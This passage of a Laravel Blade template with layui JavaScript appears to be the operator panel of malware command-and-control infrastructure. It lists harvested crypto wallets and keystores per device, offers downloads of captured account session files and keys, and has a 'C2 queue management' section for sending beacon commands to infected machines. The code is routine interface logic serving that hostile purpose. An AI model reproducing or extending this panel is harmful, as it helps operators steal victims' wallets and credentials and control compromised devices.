.catch(function (e) { layer.close(load); layer.msg(e.message || '转换失败'); });
return;
}
if (obj.event === 'session' || obj.event === 'sessionJson' || obj.event === 'sessionKey') {
var typeMap = { session: 'session', sessionJson: 'json', sessionKey: 'key' };
var extMap = { session: '.session', json: '.json', key: '_密钥.txt' };
var type = typeMap[obj.event];
var baseUrl = obj.data.session_file_url;
if (!baseUrl) { layer.msg('缺少会话文件地址'); return; }
var url = baseUrl + '?type=' + type;
var load = layer.load(1, { shade: 0.1 });
fetch(url, { credentials: 'same-origin' })
.then(function (res) {
layer.close(load);
var ct = res.headers.get('Content-Type') || '';
if (!res.ok || ct.indexOf('application/json') !== -1) {
return res.json().then(function (b) { throw new Error(b.msg || '转换失败'); });
}
return res.blob().then(function (blob) {
var a = document.createElement('a');
a.href = URL.createObjectURL(blob);
a.download = (obj.data.account_id || obj.data.id) + extMap[type];
document.body.appendChild(a); a.click();
setTimeout(function () { URL.revokeObjectURL(a.href); a.remove(); }, 1000);
});
})
.catch(function (e) { layer.close(load); layer.msg(e.message || '转换失败'); });
return;
}
});
}
if (tab === 'wallets') {
form.render('select');
form.on('submit(LAY-wallet-search)', function (data) {
table.reload('LAY-device-tab-list', {
where: {
tab: 'wallets',
source: data.field.source || '',
chain_type: data.field.chain_type || ''
},
page: { curr: 1 }
});
return false;
});
$('#LAY-wallet-reset').on('click', function () {
setTimeout(function () {
table.reload('LAY-device-tab-list', {
where: { tab: 'wallets', source: '', chain_type: '' },
page: { curr: 1 }
});
}, 0);
});
}
if (tab === 'keystores') {
form.render('select');
form.on('submit(LAY-keystore-search)', function (data) {
table.reload('LAY-device-tab-list', {
where: {
tab: 'keystores',
needs_password: data.field.needs_password || ''
},
page: { curr: 1 }
});
return false;
});
$('#LAY-keystore-reset').on('click', function () {
setTimeout(function () {
table.reload('LAY-device-tab-list', {
where: { tab: 'keystores', needs_password: '' },
page: { curr: 1 }
});
}, 0);
});
}
});
</script>
{{-- ===== C2 队列管理 (layui 组件) ===== --}}
<script>
layui.use(['form', 'layer', 'jquery'], function () {
var form = layui.form;
var layer = layui.layer;
var $ = layui.jquery;
// 命令类型列表(key => 中文描述)
var queueTypes = @json(\App\Services\DsBeaconQueue::ALL_TYPES);
var paramSchema = window.queueParamSchema || {};
var addUrl = window.queueAddUrl;
var removeUrl = window.queueRemoveUrl;
var token = window.csrfToken;
// 构建「添加任务」弹窗的 HTML(含 layui form select + 动态参数容器)
function buildAddFormHtml() {
var opts = '<option value="">请选择命令</option>';
for (var k in queueTypes) {
if (!queueTypes.hasOwnProperty(k)) continue;
opts += '<option value="' + k + '">' + k + ' (' + queueTypes[k] + ')</option>';
}
return ''
+ '<form class="layui-form" id="queueAddForm" lay-filter="queueAddForm" style="padding:20px 24px;">'
+ '<div class="layui-form-item">'
+ '<label class="layui-form-label">命令</label>'
+ '<div class="layui-input-block">'
+ '<select name="type" lay-filter="queueTypeSelect" lay-search>' + opts + '</select>'
+ '</div>'
+ '</div>'
+ '<div id="queueParamFields"></div>'
+ '<div class="layui-form-item" style="margin-bottom:0;">'
+ '<div class="layui-input-block">'
+ '<button type="button" class="layui-btn" id="queueAddSubmit" lay-submit lay-filter="queueAddSubmit">提交</button>'
+ '<button type="reset" class="layui-btn layui-btn-primary" style="margin-left:8px;">重置</button>'
+ '</div>'
+ '</div>'
+ '</form>';
}
// 根据选中命令类型渲染动态参数字段
function renderParamFields(type) {
var $box = $('#queueParamFields');
$box.empty();
var fields = paramSchema[type] || [];
if (!fields.length) {
return;
}
var html = '';
for (var i = 0; i < fields.length; i++) {
var f = fields[i];
var name = f.name, label = f.label, ftype = f.type, def = f.default, req = f.required;
var reqMark = req ? '<span style="color:#ff5722;">*</span> ' : '';
if (ftype === 'select') {
var opts = '';
if (f.options) {
for (var ok in f.options) {
if (!f.options.hasOwnProperty(ok)) continue;
opts += '<option value="' + ok + '"' + (ok == def ? ' selected' : '') + '>' + f.options[ok] + '</option>';
}
}
html += '<div class="layui-form-item">'
+ '<label class="layui-form-label">' + reqMark + label + '</label>'
+ '<div class="layui-input-block">'
+ '<select name="params[' + name + ']" lay-filter="param_' + name + '">' + opts + '</select>'
+ '</div>'
+ '</div>';
} else if (ftype === 'checkbox') {
var checked = def ? ' checked' : '';
html += '<div class="layui-form-item">'
+ '<label class="layui-form-label">' + reqMark + label + '</label>'
+ '<div class="layui-input-block">'
+ '<input type="checkbox" name="params[' + name + ']" lay-skin="switch" lay-text="开|关"' + checked + '>'
+ '</div>'
+ '</div>';
} else if (ftype === 'textarea') {
html += '<div class="layui-form-item layui-form-text">'
+ '<label class="layui-form-label">' + reqMark + label + '</label>'
+ '<div class="layui-input-block">'
+ '<textarea name="params[' + name + ']" placeholder="请输入' + label + '" class="layui-textarea" style="height:120px;">' + (def || '') + '</textarea>'
+ '</div>'
+ '</div>';
} else if (ftype === 'number') {
html += '<div class="layui-form-item">'
+ '<label class="layui-form-label">' + reqMark + label + '</label>'
+ '<div class="layui-input-block">'
+ '<input type="number" name="params[' + name + ']" value="' + (def != null ? def : '') + '" placeholder="请输入' + label + '" class="layui-input">'
+ '</div>'
+ '</div>';
} else {
// text
html += '<div class="layui-form-item">'
+ '<label class="layui-form-label">' + reqMark + label + '</label>'
+ '<div class="layui-input-block">'
+ '<input type="text" name="params[' + name + ']" value="' + (def != null ? def : '') + '" placeholder="请输入' + label + '" class="layui-input">'
+ '</div>'
+ '</div>';
}
}
$box.html(html);
form.render(null, 'queueAddForm');
}
// 绑定「添加任务」按钮
$('#btnQueueAdd').on('click', function () {
var idx = layer.open({
type: 1,
title: '添加 C2 任务',
area: ['520px', '500px'],
maxmin: false,
content: buildAddFormHtml(),
success: function (layero, index) {
// 渲染初始 select
form.render(null, 'queueAddForm');
// 监听命令类型切换
form.on('select(queueTypeSelect)', function (data) {
renderParamFields(data.value);
});
// 监听提交
form.on('submit(queueAddSubmit)', function (data) {
submitAddTask(data.field, index);
return false;
});
}
});
});
// 提交添加任务
function submitAddTask(formData, layerIndex) {
if (!formData.type) {
return layer.msg('请选择命令类型', { icon: 2 });
}
// 收集 params
var params = {};
var fields = paramSchema[formData.type] || [];
for (var i = 0; i < fields.length; i++) {
var f = fields[i];
var key = f.name;
var raw = formData['params[' + key + ']'];
if (raw === undefined || raw === '') {
if (f.required) {
layer.msg('请填写 ' + f.label, { icon: 2 });
return;
}
continue;
}
if (f.type === 'number') {
params[key] = Number(raw);
} else if (f.type === 'checkbox') {
params[key] = (raw === 'on' || raw === true || raw === 'true');
} else {
params[key] = raw;
}
}
var loadIdx = layer.load(1, { shade: 0.2 });
$.ajax({
url: addUrl,
method: 'POST',
data: { type: formData.type, params: params, _token: token },
success: function (res) {
layer.close(loadIdx);
if (!res || res.code !== 0) {
return layer.msg((res && res.msg) || '添加失败', { icon: 2 });
}
layer.close(layerIndex);
layer.msg('已添加', { icon: 1, time: 800 }, function () {
location.reload();
});
},
error: function (xhr) {
layer.close(loadIdx);
var msg = (xhr.responseJSON && xhr.responseJSON.msg) ? xhr.responseJSON.msg : '添加失败';
layer.msg(msg, { icon: 2 });
}
});
}
// 移除任务(使用 layui layer.confirm 替代原生 confirm)
window.queueRemove = function (taskId, type) {
layer.confirm('移除此任务?(' + type + ')', {
icon: 3,
title: '移除任务'
}, function (index) {
layer.close(index);
var loadIdx = layer.load(1, { shade: 0.2 });
$.ajax({
url: removeUrl,
method: 'POST',
data: { task_id: taskId, _token: token },
success: function (res) {
layer.close(loadIdx);
if (!res || res.code !== 0) {
return layer.msg((res && res.msg) || '移除失败', { icon: 2 });
}
layer.msg('已移除', { icon: 1, time: 800 }, function () {
location.reload();
});
},
error: function (xhr) {
layer.close(loadIdx);
var msg = (xhr.responseJSON && xhr.responseJSON.msg) ? xhr.responseJSON.msg : '移除失败';
layer.msg(msg, { icon: 2 });
}
});
});
};
});
</script>
@endpush